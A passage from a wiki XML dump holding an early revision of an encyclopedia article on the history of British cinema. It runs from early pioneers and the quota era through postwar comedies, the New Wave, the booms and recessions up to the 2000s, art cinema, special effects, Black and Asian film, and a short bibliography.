        <username>SDC</username>
        <id>181435</id>
      </contributor>
      <minor />
      <comment>/* British cinema since 1990 */</comment>
      <text xml:space="preserve">[[Image:Get Carter poster.jpg|thumb|300px|[[Michael Caine]] in ''[[Get Carter]]'' (1971)]]
The [[United Kingdom]] has been influential in the [[History of cinema|technological]], commercial, and artistic development of [[Film|cinema]].  Despite a history of [[List of British films|successful productions]], the industry is characterised by an ongoing debate about its identity (including [[Economy of the United Kingdom|economic]] and [[Culture of the United Kingdom|cultural]] issues) and the influences of [[Cinema of the United States|American]] and [[:Category:Cinema by country|European cinema]].

==Overview==
[[Image:UK film production 1912-2001.png|thumb|200px|UK film production from 1912 to 2001]]
Film production in the UK has experienced a number of booms and recessions.  Although many factors can be used to measure the success of the industry, the number of UK films produced per year ([http://www.screenonline.org.uk/film/facts/fact2.html]) gives an overview of its development: the industry experienced a boom as it first developed in the [[1910s in film|1910s]], but during the [[1920s in film|1920s]] experienced a
recession caused by superior [[Cinema of the United States|US competition]] and commercial practices.  The [[Cinematograph Films Act 1927]] introduced protective measures, leading to recovery and an all-time production high of 192 films in [[1936 in film|1936]].  However, over-expansion caused a major crash, and low production continued throughout [[World War II]].

Film production recovered after the war, with a long period of relative stability and growing American investment.  But another recession hit the industry in the mid-[[1970s in film|1970s]], reaching an all-time low of 24 films in [[1981 in film|1981]].  Low production continued throughout the [[1980s in film|1980s]], but it increased again in the [[1990s in film|1990s]] with renewed private and public investment.
Although production levels give an overview, the history of British cinema is complex, with various cultural movements developing independently.  Some of the most successful films were made during 'recessions', such as ''[[Chariots of Fire]]'' (1981).

==History==
===Early UK cinema===
{{EuropeanCinema}}
Modern cinema is generally regarded as descending from the work of the [[France|French]] [[Auguste and Louis Lumière|Lumière brothers]] in [[1892]], and their show first came to London in [[1896 in film|1896]].  However, the first moving pictures developed on celluloid film were made in [[Hyde Park, London]] in [[1889 in film|1889]] by [[William Friese Greene]], a British inventor, who patented the process in [[1890 in film|1890]].  The film is the first known instance of a projected moving image.

The first people to build and run a working [[35 mm]] [[camera]] in Britain were [[Robert W. Paul]] and [[Birt Acres]].  They made the first British film ''Incident at Clovelly Cottage'' in February 1895, shortly before falling out over the camera's patent.  Soon  several British film companies had opened to meet the demand for new films, such as [[Mitchell and Kenyon]] in [[Blackburn]].  From 1898 American producer [[Charles Urban]] expanded the London-based Warwick Trading Company to produce British films, mostly documentary and news.  He later formed his own Charles Urban Trading Company, which also produced early colour films.

===The 1930s boom===
By the mid-twenties the British film industry was losing out to heavy competition from [[Hollywood]] films, the latter helped by having a much larger home market. In [[1914 in film|1914]], 25% of films shown in the UK were British - by [[1926 in film|1926]] this had fallen to 5%.  The [[Cinematograph Films Act 1927]] was passed in order to boost local production, requiring that UK cinemas show a certain percentage of British films.  The act was technically a success, with audiences for British films becoming larger than the quota required.  But it had the effect of creating a market for 'quota quickies': poor quality, low cost films, made in order to satisfy the quota.  Some critics have blamed the quickies for holding back the development of the industry.  However, many British film-makers learnt their craft making these quota quickies, including [[Michael Latham Powell|Michael Powell]] and [[Alfred Hitchcock]].

Alfred Hitchcock's ''[[Blackmail (1929 film)|Blackmail]]'' ([[1929 in film|1929]]) is regarded as the first British sound production.  In the era of silent films audiences were receptive to movies from all nations. However, with the advent of sound films, many foreign actors or those with thick regional accents soon found themselves in less demand, and more 'formal' English ([[received pronunciation]]) became the norm.  Sound also increased the influence of already popular [[Cinema of the United States|American films]].

Starting with [[John Grierson|John Grierson's]] ''[[Drifters]]'', the 1930s saw the emergence of a new school of realist documentary films: [[The Documentary Film Movement]]. It was Grierson who coined the term [[Documentary film|documentary]] to describe a non-fiction film, and he produced the movement's most celebrated film of the 1930s, ''[[Night Mail]]'' ([[1936 in film|1936]]), written and directed by Basil Wright and Harry Watt, and incorporating the poem by [[W.H. Auden]]. Other key figures in this movement were [[Humphrey Jennings]], [[Paul Rotha]] and [[Alberto Cavalcanti]]. Many of them would go on to produce important films during [[World War II]]. 

Several other new talents emerged during this period, and [[Alfred Hitchcock]] would confirm his status as one of Britain's leading young directors with his influential thrillers ''[[The Man Who Knew Too Much (1934 film)|The Man Who Knew Too Much]]'' ([[1934 in film|1934]]), ''[[The 39 Steps (1935 film)| The 39 Steps]]'' ([[1935 in film|1935]]) and ''[[The Lady Vanishes]]'' ([[1938 in film|1938]]), before moving to [[Hollywood]]. 

[[Music hall]] also proved influential in [[comedy films]] of this period, and a number of popular personalities emerged, including [[George Formby]], [[Gracie Fields]], [[Jessie Matthews]] and [[Will Hay]]. 

Many of the most important [[United Kingdom|British]] productions of the 1930s were produced by [[London Films]], founded by the [[Hungary|Hungarian]] ''emigre'' [[Alexander Korda]]. These included ''[[Things to Come]]'' (1936), ''[[Rembrandt (film) | Rembrandt]]'' (1936) and ''[[Knight Without Armour]]'' ([[1937 in film|1937]]), as well as the early [[Technicolor]] films ''[[The Drum]]'' (1938), ''[[The Four Feathers]]'' ([[1939 in film|1939]]) and ''[[The Thief of Bagdad (1940 film)|The Thief of Bagdad]]'' ([[1940 in film|1940]]). These had followed closely on from ''[[Wings of the Morning]]'' ([[1937 in film|1937]]), Britain's first colour feature film. 

After the boom years of the late 1920s and early 1930s, rising expenditure and over-optimistic expansion into the American market caused the production bubble to burst in 1937. Of the 640 British production companies registered between 1925 and 1936, 20 were still going in 1937. Moreover, the 1927 Films Act was up for renewal. The replacement Cinematograph Films Act 1938 provided incentives for UK companies to make fewer films of higher quality and, influenced by world politics, encouraged American investment and imports. One result was the creation by the American company [[MGM]] of a British studio [[MGM British]] in [[Hertfordshire]], which produced some very successful films, including ''[[A Yank at Oxford]]'' (1938) and ''[[Goodbye, Mr. Chips]]'' (1939), before [[The Second World War]] intervened.

===World War II===
The constraints imposed by [[World War II]] seemed to give new energy to the British film industry.  After a faltering start, British films began to make increasing use of documentary techniques and former documentary film-makers to make more realistic films, many of which helped to shape the popular image of the nation at war. Among the best known of these films are ''[[In Which We Serve]]'' ([[1942 in film|1942]]), ''[[Went the Day Well?]]'' ([[1942 in film|1942]]), ''[[We Dive at Dawn]]'' ([[1943 in film|1943]]), ''[[Millions Like Us]]'' ([[1943 in film|1943]]) and ''[[The Way Ahead]]'' ([[1944 in film|1944]]). In the later war years [[Gainsborough Pictures|Gainsborough]] Studios produced a series of critically derided but immensely popular period melodramas including ''[[The Man in Grey]]'' (1943) and ''[[The Wicked Lady]]'' ([[1945 in film|1945]]). These helped to create a new generation of British stars, such as [[Stewart Granger]], [[Margaret Lockwood]] and [[James Mason]]. [[Two Cities]], an independent production company also made some important films including ''[[This Happy Breed]]'' (1944), ''[[Blithe Spirit]]'' (1945) and [[Laurence Olivier]]'s ''[[Henry V (play)|Henry V]]'' (1944) and ''[[Hamlet (1948 film)|Hamlet]]'' ([[1948 in film|1948]]). The war years also saw the flowering of the [[Powell and Pressburger]] partnership with films like ''[[Forty-Ninth Parallel]]'' ([[1941 in film|1941]]), ''[[The Life and Death of Colonel Blimp]] ''(1943) and ''[[A Canterbury Tale]]'' (1944) which, while set in wartime, were very much about the people affected by war rather than battles.

===Post-war cinema===
Towards the end of the [[1940s]], the [[Rank Organisation]], founded in 1937 by [[J. Arthur Rank]], became the dominant force behind British film-making. It acquired a number of British studios, and bank-rolled some of the great British film-makers which were emerging in this period.

Building on the success British cinema had enjoyed during World War II, the industry hit new heights of creativity in the immediate post-war years. Among the most significant films produced during this period were [[David Lean]]'s ''[[Brief Encounter]]'' (1945) and his Dickens adaptations ''[[Great Expectations (1946 film)|Great Expectations]]'' ([[1946 in film|1946]]) and ''[[Oliver Twist (1948 film)|Oliver Twist]]'' (1948), Carol Reed's ''[[Odd Man Out]]'' ([[1947 in film|1947]]) and ''[[The Third Man]]'' ([[1949 in film|1949]]), and [[Powell and Pressburger]]'s  ''[[A Matter of Life and Death]]'' (1946), ''[[Black Narcissus]]'' (1946) and ''[[The Red Shoes (film)|The Red Shoes]]'' (1948). Ealing Studios also embarked on their series of celebrated comedies, including ''[[Whisky Galore]]'' (1948), ''[[Kind Hearts and Coronets]]'' (1949) and ''[[The Man in the White Suit]]'' ([[1951 in film|1951]]). 

In the [[1950s in film|1950s]] the industry retreated slightly from the prestige productions which had made British films successful worldwide, and began to concentrate on popular comedies and [[World War II]] dramas aimed more squarely at the domestic audience. 

The war films were often based on true stories and made in a similar low-key style to their wartime predecessors. They helped to make stars of actors like [[John Mills]], [[Jack Hawkins]] and [[Kenneth More]], and some of the most successful included ''[[The Cruel Sea]]'' ([[1953 in film|1953]]), ''[[The Dambusters]]'' ([[1954 in film|1954]]), ''[[The Colditz Story]]'' ([[1955 in film|1955]]) and ''[[Reach For The Sky]]'' ([[1956 in film|1956]]). 

Popular comedy series included the [[St Trinians]] films and the &quot;Doctor&quot; series, beginning with ''[[Doctor in the House]]'' in 1954. The latter series starred [[Dirk Bogarde]], probably the British industry's most popular star of the 1950s.  Bogarde was later replaced by [[Michael Craig]] and [[Leslie Phillips]], and the series continued until [[1970 in film|1970]]. The [[Rank Organisation]] also produced some other notable comedy successes, such as ''[[Genevieve]]'' in 1953. 

The writer/director/producer team of twin brothers [[John and Roy Boulting]] also produced a series of successful satires on British life and institutions, beginning with ''[[Private's Progress]]'' (1956), and continuing with ''[[Brothers in Law]]'' ([[1957 in film|1957]]), ''[[Carlton-Browne of the F.O.]]'' ([[1958 in film|1958]]), ''[[I'm All Right Jack]]'' ([[1959 in film|1959]]) and ''[[Heavens Above!]]'' ([[1963 in film|1963]]). The Italian director-producer [[Mario Zampi]] also made a number of comedies including ''[[Laughter in Paradise]]'' (1951), ''[[The Naked Truth (film)|The Naked Truth]]'' (1957) and ''[[Too Many Crooks]]'' (1958).

After a string of successful films, including the comedies ''[[The Man in the White Suit]]'' ([[1951]]), ''[[The Lavender Hill Mob]]'' (1951), ''[[The Titfield Thunderbolt]]'' (1953) and ''[[The Ladykillers]]'' (1955), as well as dramas like ''[[Dead of Night]]'', ''[[Scott of the Antarctic]]'' and ''[[The Cruel Sea]]'', [[Ealing Studios]] finally ceased production in 1958, and the studios were taken over by the [[BBC]] for television production.

Less restrictive censorship towards the end of the 1950s encouraged B-movie producer [[Hammer Films]] to embark on their series of influential and wildly successful horror films. Beginning with black and white adaptations of [[Nigel Kneale]]'s [[BBC]] [[science fiction]] serials ''[[The Quatermass Experiment]]'' (1955) and ''[[Quatermass II]]'' (1957), Hammer quickly graduated to deceptively lavish colour versions of ''[[The Curse of Frankenstein|Frankenstein]]'', ''[[Horror of Dracula|Dracula]]'' and ''[[The Mummy (1959 movie)|The Mummy]]''. Their enormous commercial success encouraged them to turn out sequel after sequel, and lead to an explosion in [[horror film]] production in Britain that would last for nearly two decades. Hammer would dominate British horror production throughout this period, but other companies were created specifically to meet the new demand, including [[Amicus Productions]] and [[Tigon British Film Productions|Tigon British]].

===The British New Wave===
The [[British New Wave]], or &quot;Free Cinema&quot;, describes a group of films made between [[1959]] and [[1963]] which portray a more gritty [[social realism]].  They were influenced by the [[Angry Young Men]] of the mid-50s along with the documentary films of everyday life commissioned by the [[Post Office]] during and after the Second World War, and are often associated with [[kitchen sink drama]]. The group was established around the film magazine ''Sequence'' that was founded by [[Tony Richardson]], [[Karel Reisz]] and [[Lindsay Anderson]] who, together with future James Bond producer [[Harry Saltzman]], established the company [[Woodfall Films]] which made their early films. These included adaptations of Richardson's own stage productions of ''[[Look Back in Anger]]'' and ''[[The Entertainer (film)|The Entertainer]]''. Other significant films in this movement include ''[[Saturday Night and Sunday Morning]]'' (1960), ''[[A Kind of Loving]]'' (1962), and ''[[This Sporting Life]]'' (1963). After Richardson's film of ''[[Tom Jones (movie)|Tom Jones]]'' became a big hit the group broke up to pursue different interests. The Free Cinema films also made stars out of their leading actors [[Albert Finney]], [[Alan Bates]], [[Richard Burton]], [[Rita Tushingham]], [[Richard Harris (actor)|Richard Harris]] and [[Tom Courtenay]].

:''See also [[British New Wave]]''

===The 1960s Boom===
In the [[1960s in film|1960s]] British studios began to enjoy major success in the international market with a string of films that displayed a more liberated attitude to sex, capitalising on the &quot;[[swinging London]]&quot; image propagated by [[Time (magazine)|Time magazine]]. Films like ''[[Darling]]'', ''[[Alfie]]'', ''[[Georgy Girl]]'', and ''[[The Knack]]'' all explored this phenomenon, while ''[[Blow-up]]'', ''[[Repulsion]]'' and later ''[[Women in Love]]'', broke taboos around the portrayal of sex and nudity on screen. 

At the same time, [[film producer|producers]] [[Harry Saltzman]] and [[Albert R. Broccoli]] combined sex with exotic locations, casual violence and self-referential humour in the phenomenally successful [[James Bond]] series. The first film ''[[Dr. No]]'' was a [[sleeper]] hit in Britain in [[1962 in film|1962]], and the second, ''[[From Russia with Love]]'' ([[1963]]), was a hit worldwide. By the time of the third film, ''[[Goldfinger]]'' ([[1964 in film|1964]]), the series had become a global phenomenon, reaching its commercial peak with ''[[Thunderball]]'' the following year. 

The series success lead to a [[spy film]] boom, with ''[[The Liquidator]]'' ([[1965 in film|1965]]), ''[[Modesty Blaise]]'' ([[1966 in film|1966]]), ''[[Sebastian (1968 film)|Sebastian]]'' ([[1968 in film|1968]]) and the [[Bulldog Drummond]] spoofs, ''[[Deadlier Than the Male]]'' ([[1967 in film|1967]]) and ''[[Some Girls Do]]'' (1968) among the results. Meanwhile, Bond co-producer Harry Saltzman had also instigated a rival series of more realistic spy films based on the novels of [[Len Deighton]]. [[Michael Caine]] starred as bespectacled spy [[Harry Palmer]] in ''[[The Ipcress File]]'' (1965), ''[[Funeral in Berlin]]'' (1966) and ''[[Billion Dollar Brain]]'' (1967), and the success of these ushered in a cycle of downbeat espionage films in the manner of the novels of [[John Le Carre]], including ''[[The Spy Who Came in from the Cold]]'' (1965) and ''[[The Deadly Affair]]'' (1966). 

Overseas film makers were also attracted to Britain at this time. [[Poland|Polish]] film maker [[Roman Polanski]] made ''[[Repulsion]]'' (1965) and ''[[Cul-de-Sac]]'' (1966) in [[London]] and [[Northumberland]] respectively, before attracting the attention of [[Hollywood]]. Italian director [[Michelangelo Antonioni]] filmed ''[[Blow-up]]'' (1966) with [[David Hemmings]] and [[Vanessa Redgrave]], and [[François Truffaut]] directed his only film made outside [[France]], the [[science fiction]] parable ''[[Fahrenheit 451 (film)|Fahrenheit 451]]'' in 1966. 

American directors were regularly working in London throughout the decade, but several became permananet residents in Britain. Blacklisted in America, [[Joseph Losey]] had a significant influence on British cinema in the 60s, particularly with his collaborations with [[playwright]] [[Harold Pinter]] and leading man [[Dirk Bogarde]], including ''[[The Servant]]'' ([[1963]]) and ''[[Accident]]'' ([[1967]]). Voluntary emigres [[Stanley Kubrick]] and [[Richard Lester]] were also influential. Lester had major hits with ''[[The Knack]]'' ([[1965]]), and [[The Beatles]] films ''[[A Hard Day's Night (film)|A Hard Day's Night]]'' ([[1964]]) and ''[[Help! (film)|Help!]]'' ([[1965]]), after which it became standard for each new pop group to have a verité style feature film made about them. Kubrick settled in [[Hertfordshire]] in the early 60s and would remain in England for the rest of his career. The special effects team assembled to work on his [[1968]] film ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'' would add significantly to the British industry's dominance in this field over the following decades.

The success of these films and others as diverse as ''[[Lawrence of Arabia]]'' ([[1962]]), ''[[Tom Jones (movie)|Tom Jones ]]'' ([[1963]]), ''[[Zulu]]'' ([[1964]]) and ''[[Those Magnificent Men in Their Flying Machines]]'' ([[1965]]) encouraged American studios to invest significantly in British film production. Major films like ''[[Becket]]'' ([[1964]]), ''[[A Man for All Seasons]]'' ([[1966]]), ''[[Khartoum]]'' ([[1966]]) and ''[[Charge of the Light Brigade]]'' ([[1968]]) were regularly mounted, while smaller-scale films including ''[[Billy Liar]]'' ([[1963]]), ''[[Accident]]'' ([[1967]]) and ''[[Women in Love]]'' ([[1969]]) were big critical successes. Four of the decade's [[Academy Award]] winners for best picture were British productions.

Towards the end of the decade social realism was beginning to make its way back into British films again. Influenced by his work on the [[Wednesday Play]] on [[British television]], [[Ken Loach]] directed the realistic dramas ''[[Poor Cow]]'' and ''[[Kes]]''.

===The 1970s===
With the film industry in both [[Britain]] and the [[United States]] entering into recession, American studios cut back on domestic production, and in many cases withdrew from financing British films altogether. Major films were still being made at this time, including ''[[Anne of the Thousand Days]]'' ([[1969]]), ''[[Battle of Britain]]'' ([[1969]]), [[Billy Wilder]]'s ''[[The Private Life of Sherlock Holmes]]'' ([[1970]]) and [[David Lean]]'s ''[[Ryan's Daughter]]'' ([[1970]]), but as the decade wore on financing became increasingly hard to come by. Large-scale productions were still being mounted, but they were more sporadic and sometimes seemed old-fashioned compared with the competition from America. Among the more successful were adaptations of the [[Agatha Christie]] stories ''[[Murder on the Orient Express]]'' ([[1974]]) and ''[[Death on the Nile]]'' ([[1978]]). Other productions like ''[[Shout at the Devil (movie)|Shout at the Devil]]'' ([[1976]]) fared less well, while the entry of [[Lew Grade]]'s company [[ITC]] into film production in the latter half of the decade brought only a few box office successes and an unsustainable number of failures.

The British [[horror film|horror]] boom of the [[1960s]] also finally came to an end by the mid-[[1970s]], with the leading producers [[Hammer]] and [[Amicus]] leaving the genre altogether in the face of competition from America. Films like ''[[The Texas Chainsaw Massacre]]'' ([[1974]]) made Hammer's [[vampire]] films seem increasingly tame and outdated, despite attempts to spice up the formula with added nudity and gore.

Some British producers, including Hammer, turned to television series for inspiration, and the big screen versions of shows like ''[[Steptoe and Son]]'' and ''[[On the Buses]]'' proved surprisingly successful with domestic audiences. 

The continued presence of the [[Eady levy]] in the [[1970s]], combined with a loosening of censorship rules, also brought on a minor boom of low-budget British [[sex comedy|sex comedies]] and [[softcore porn]] movies. Most notable among these were films starring [[Mary Millington]] such as ''[[Come Play with Me]]'', and the ''Confessions of...'' series starring [[Robin Askwith]], beginning with ''[[Confessions of a Window Cleaner]]''. 

More relaxed censorship in the 1970s also brought several controversial films, including [[Ken Russell]]'s ''[[The Devils]]'' ([[1970]]), [[Sam Peckinpah]]'s ''[[Straw Dogs]]'' ([[1971]]) and [[Stanley Kubrick]]'s ''[[A Clockwork Orange]]'' ([[1971]]).

The late [[1970s]] at least saw a revival of the [[James Bond]] series with ''[[The Spy Who Loved Me]]'' in [[1977]]. However, the next film, ''[[Moonraker]]'' ([[1979]]), broke with tradition by filming at studios in [[France]] to take advantage of tax incentives there. Some [[United States|American]] productions did return to the major British studios in [[1977]]-[[1979|79]] though, including ''[[Star Wars Episode IV: A New Hope|Star Wars]]'' at [[Elstree Studios]], ''[[Superman: The Movie|Superman]]'' at [[Pinewood Studios|Pinewood]], and ''[[Alien (film)|Alien]]'' at [[Shepperton Studios|Shepperton]].

===The 1980s===
Although major American productions, such as ''[[The Empire Strikes Back]]'' and ''[[Superman II]]'',  continued to be filmed at British studios in the [[1980s]], the decade began with the worst recession the British film industry had ever seen.  In 1980 only 31 UK films were made, down 50% on the previous year, and the lowest output since 1914.  Production was down again the following year, to 24 films.  However, the 1980s soon saw a renewed optimism, led by companies such as [[Goldcrest Films|Goldcrest]] (and producer [[David Puttnam]]), [[Channel 4]], [[Handmade Films]] and [[Merchant Ivory Productions]].  Under producer Puttnam a generation of British directors emerged making popular films with international distribution, including: [[Bill Forsyth]] (''[[Local Hero]]'', 1983), [[Hugh Hudson]] (''[[Chariots of Fire]]'', 1981), [[Roland Joffe]] (''[[The Killing Fields (movie)|The Killing Fields]]'', 1984), [[Alan Parker]] and [[Ridley Scott]].  [[Handmade Films]], part owned by [[George Harrison]], had produced a series of modest budget comedies and gritty dramas such as ''[[The Long Good Friday]]'' (1980) that had proven popular internationally.

When the Puttnam-produced ''[[Chariots of Fire]]'' (1981) won 4 Academy Awards in 1982, including best picture, its writer [[Colin Welland]] declared &quot;the British are coming!&quot; (quoting [[Paul Revere]]).  When in 1983 ''[[Gandhi (film)|Gandhi]]'' (also produced by Goldcrest) picked up best picture it looked as if he was right.  It prompted a cycle of bigger budget period films, such as the [[Merchant Ivory Productions|Merchant Ivory]] adaptations of the works of [[E. M. Forster]].  However, further attempts to make 'big' productions for the US market ended in failure, with Goldcrest losing independence after a trio of commercial flops.  By this stage the rest of the new talent had moved on to Hollywood.

With the continued support of Channel 4 a number of new talents were developed in [[Stephen Frears]], [[Mike Newell (director)|Mike Newell]] and [[Neil Jordan]] while [[John Boorman]] who had been working in the US was encouraged back to Britain to make ''[[Hope and Glory]]'' (1987).  Following the final winding up of the Rank Organisation, a series of company consolidations in UK cinema distribution meant that it became ever harder for British productions.  Another blow was the elimination of the Eady tax concession by the Conservative Government in 1984.  The concession had made it possible for a foreign film company to write off a large amount of its production costs by filming in the UK &amp;mdash; this was what attracted a succession of blockbuster productions to UK studios in the 1970s.  With Eady gone many studios closed or focused on television work.

===British cinema since 1990===
Film production in Britain hit one of its all-time lows in 1989. While cinema audiences were climbing in the UK in the early [[1990s]], few British films were enjoying significant commercial success, even in the home market. Among the more notable exceptions were the [[Merchant Ivory]] productions ''[[Howards End]]'' ([[1992]]) and ''[[The Remains of the Day]]'' ([[1993]]), [[Richard Attenborough]]'s ''[[Chaplin]]'' ([[1992]]) and ''[[Shadowlands]]'' ([[1993]]) and [[Neil Jordan]]'s acclaimed thriller ''[[The Crying Game]]'' ([[1992]]). The latter was generally ignored on its initial release in Britain, but was a considerable success in the [[United States]], where it was picked up by the distributor [[Miramax]]. The same company also enjoyed some success releasing the [[BBC]] period drama ''[[Enchanted April]]'' ([[1992]]). [[Kenneth Branagh]]'s filmed [[Shakespeare]] adaptations were also gaining some attention, including his [[1989]] version of ''[[Henry V (1989 film)|Henry V]]'', and ''[[Much Ado About Nothing]]'' in [[1993]]. 

The surprise success of the [[Richard Curtis]]-scripted comedy ''[[Four Weddings and a Funeral]]'' ([[1994]]), especially in the United States, lead to renewed interest and investment in British films, and set a pattern for British-set romantic comedies, including ''[[Sliding Doors]]'' ([[1998]]), ''[[Notting Hill (movie)|Notting Hill]]'' ([[1999]]) and the [[Bridget Jones]] films. Several of these were also written by Curtis, who went on to make his directorial debut with ''[[Love Actually]]'' in [[2003]]. [[Working Title Films]], the company behind many of these films, quickly became one of the most successful British production companies of recent years, with other box office hits including ''[[Bean]]'' ([[1997]]), ''[[Elizabeth]]'' ([[1998]]) and ''[[Captain Corelli's Mandolin]]'' ([[2001]]). 

The enthusiastic reception given to ''[[The Madness of King George]]'' ([[1994]]) proved there was still a market for the traditional British [[costume drama]], and a large number of other period films followed, including ''[[Sense and Sensibility]]'' ([[1995]]), ''[[Restoration (movie)|Restoration]]'' ([[1995]]), ''[[Emma]]'' ([[1996]]), ''[[The Wings of the Dove]]'' ([[1997]]), ''[[Mrs. Brown]]'' ([[1997]]), ''[[Shakespeare in Love]]'' ([[1998]]), ''[[Topsy-Turvy]]'' ([[1999]]) and ''[[Gosford Park]]'' ([[2001]]). Several of these were funded by Miramax Films, who also took over [[Anthony Minghella]]'s ''[[The English Patient (film)|The English Patient]]'' ([[1996]]) when the production ran into difficulties during filming. Although technically an American production, the success of this film, including its 9 [[Academy Award]] wins would bring further prestige to British film-makers. 

American productions also began to return to British studios in the mid-[[1990]]s, including ''[[Interview with the Vampire]]'' ([[1994]]), ''[[Mission: Impossible]]'' ([[1996]]), ''[[Saving Private Ryan]]'' ([[1998]]) and ''[[Star Wars Episode I: The Phantom Menace]]'' ([[1999]]), as well as the French production ''[[The Fifth Element]]'' ([[1997]]), at the time claimed to be the most expensive film made in Britain. 

After a six year hiatus for legal reasons the [[James Bond]] films also returned to production with the 17th Bond film, ''[[GoldenEye]]''. With their traditional home [[Pinewood Studios]] fully booked, a new studio was created for the film in a former [[Rolls-Royce]] aero-engine factory at Leavesden in [[Hertfordshire]]. 

With the introduction of public funding for British films through the new [[National Lottery]] something of a production boom occurred in the late 1990s, but only a few of these films found significant commercial success, and many went unreleased. These included several [[gangster]] films attempting to imitate [[Guy Ritchie]]'s black comedies ''[[Lock, Stock and Two Smoking Barrels]]'' ([[1998]]) and ''[[Snatch (movie)|Snatch]]'' ([[2000]]).

Other new talents to emerge during the decade included the writer-director-producer team of [[John Hodge]], [[Danny Boyle]] and [[Andrew Macdonald (producer)|Andrew Macdonald]] responsible for ''[[Shallow Grave]]'' ([[1994]]) and ''[[Trainspotting (movie)|Trainspotting]]'' ([[1996]]) and [[Nick Park]], the creator of [[Wallace and Gromit]] and the ''[[Creature Comforts]]'' series. Park's first feature length film, ''[[Chicken Run]]'' ([[2000]]), was one of the most successful British films of its year, together with [[Stephen Daldry]]'s crowd pleasing debut ''[[Billy Elliott]]''. 

The turn of the new century saw a revival of sorts of the British horror film, with ''[[The Hole (2001 film)|The Hole]]'', ''[[28 Days Later]]'', ''[[Dog Soldiers]]'', ''[[The Descent]]'' and the comedy ''[[Shaun of the Dead]]'' among the more successful examples. 

By the early 2000s, the popularity of British films in the home market had grown enough to allow a spate of television spin-offs and other comedies aimed purely at the domestic audience, including ''[[Kevin and Perry Go Large]]'', ''[[Ali G in da House]]'' and the universally panned ''[[Sex Lives of the Potato Men]]''. 

The new decade also saw a major new film series in the US-backed but British made [[Harry Potter]] films, beginning with ''[[Harry Potter and the Philosopher's Stone]]'' in [[2001]].

==Art Cinema==
The release of [[Derek Jarman|Derek Jarman's]] ''[[Jubilee (film)|Jubilee]]'' ([[1978]]) marked the beginning of a successful period of UK [[art film|art cinema]], continuing in the 1980s with film-makers like [[Peter Greenaway]] and [[Sally Potter]].  Unlike the previous generation of British film makers who had broken into directing and production after careers in the theatre or on television the Art Cinema Directors were mostly the products of Art Schools. Many of these film-makers were championed in their early career by the [[London Film Makers Cooperative]] and their work was the subject of detailed theoretical analysis in the journal ''[[Screen Education]]''.  [[Peter Greenaway]] was an early pioneer of the use of computer generated imagery blended with filmed footage and was also one of the first directors to film entirely on high definition video for a cinema release.

With the launch of [[Channel 4]] and its [[Film on Four]] commissioning strand Art Cinema was promoted to a wider audience. However the Channel had a sharp change in its commissioning policy in the early nineties and the likes of Jarman and Greenaway were forced to seek European co-production financing.  [[Ken Russell]] and [[Nicolas Roeg]] were two other directors whose highly personal visual styles and narrative themes might class them as 'Art Cinema' directors who also struggled during the nineties to finance their productions.

Another account for the decline of 'Art Cinema' is that with the spread of [[music video]] there is steady demand for emerging talent without the requirements of seeking feature film funding.  [[Julien Temple]] and [[John Maybury]] are two examples of this.  Also the widespread acceptance of [[video art]] as a form has made it possible for British artists such as [[Sam Taylor-Wood]] and [[Isaac Julian]] to make film works outside of the demands of cinema exhibition.

==Film technology==
In the [[1970s]] and [[1980s]] British studios established a reputation for great special effects in films such as ''[[Superman (movie)|Superman]]'', ''[[Alien (movie)|Alien]]'', ''[[Star Wars Episode IV: A New Hope|Star Wars]]'' and ''[[Batman (1989 movie)|Batman]]''.  Some of this reputation was founded on the core of talent brought together for the filming of [[2001: A Space Odyssey (film)|2001: A Space Odyssey]] who subsequently worked together on series and feature films for [[Gerry Anderson]].  Thanks to the Bristol-based [[Aardman Animations]] the UK is still recognised as a world leader in the use of stopmotion animation.

British special effects technicians and production designers are known for creating visual effects at a far lower cost than their counterparts in the US, as seen in ''[[Time Bandits]]'' (1981) and ''[[Brazil (movie)|Brazil]]'' (1985).  This reputation has continued through the [[1990s]] and into the [[21st century]] with films such as the [[James Bond]] series, [[Gladiator (2000 movie)|Gladiator]] and [[Harry Potter]].

Throughout to the [[1990s]] to the present day, there has been a progressive movement from traditional [[film opticals]] to an integrated [[digital film]] environment, with special effects, cutting, colour grading, and other post-production tasks all sharing the same all-digital infrastructure. The availability of high-speed [[Internet Protocol]] networks has made the British film industry capable of working closely with U.S studios as part of globally distributed productions. [[As of 2005]], this trend is expected to continue with moves towards (currently experimental) digital distribution and projection as mainstream technologies.

The UK film ''[[This is Not a Love Song]]'' (2003) was the first to be [[stream]]ed live on the [[Internet]] at the same time as its cinema [[premiere]].

==Black and Asian film==
Until the 1980s Black British and Asian British culture was significantly under-represented in mainstream British cinema, as they were in many areas of British life.  Pioneers such as [[Horace Ové]] has been working in 1970s (''Pressure'', 1975), but the 1980s saw a wave of new talent, with films like ''Burning an Illusion'' (1981), ''Majdhar'' (1985) and ''Ping Pong'' (1986).  Many of these films were assisted by the newly formed [[Channel 4]], which had an official remit to provide for &quot;minority audiences.&quot;  Commercial success was first achieved with ''[[My Beautiful Laundrette]]'' (1985).  Dealing with racial and gay issues, it started the career of its writer [[Hanif Kureishi]].

1980s mainstream British cinema also reflected a change in attitudes, with ''[[Heat and Dust]]'' (1982), ''[[Gandhi (movie)|Gandhi]]'' (1982) and ''[[Cry Freedom]]'' (1987), although it rarely directly addressed the experiences of Black or Asian British people.  However, the mainstream continued to be criticised, as it does today, for lack of minority representation.  The hit film ''[[Notting Hill (movie)|Notting Hill]]'' (1999) was noted for not featuring any significant black characters in its ensemble cast, despite [[Notting Hill]] being home to many British Afro-Caribbeans. 

The turn of the century saw a more commercial Asian British cinema develop, starting with ''[[East is East]]'' (1999) and continuing with ''[[Bend It Like Beckham]]'' (2002).  Some argue it has brought more flexible attitudes towards casting Black and Asian British actors, with [[Robbie Gee]] and [[Naomie Harris]] take leading roles in ''[[Underworld (2003 movie)|Underworld]]'' and ''[[28 Days Later]]'' respectively.

==Bibliography==
===Pre-WWII===
*Low, Rachel. 1985. Film Making in 1930s Britain. London: George, Allen and Unwin
*Rotha, Paul. 1973. Documentary diary; an informal history of the British documentary film, 1928-1939,  New York: Hill and Wang 
*Swann, Paul. 2003. The British Documentary Film Movement, 1926-1946. Cambridge University Press

===World War II===
*Aldgate, Anthony and Richards, Jeffrey 2nd Edition. 1994. Britain Can Take it: British Cinema in the Second World War. Edinburgh: Edinburgh University Press
*Barr, Charles; Ed. 1986. All Our Yesterdays: 90 Years of British Cinema. London: British Film Institute 
*Murphy, Robert. 2000. British Cinema and the Second World War. London: Continuum

===Post-War===
*Friedman, Lester; Ed. 1992. British Cinema and Thatcherism. London: UCL Press
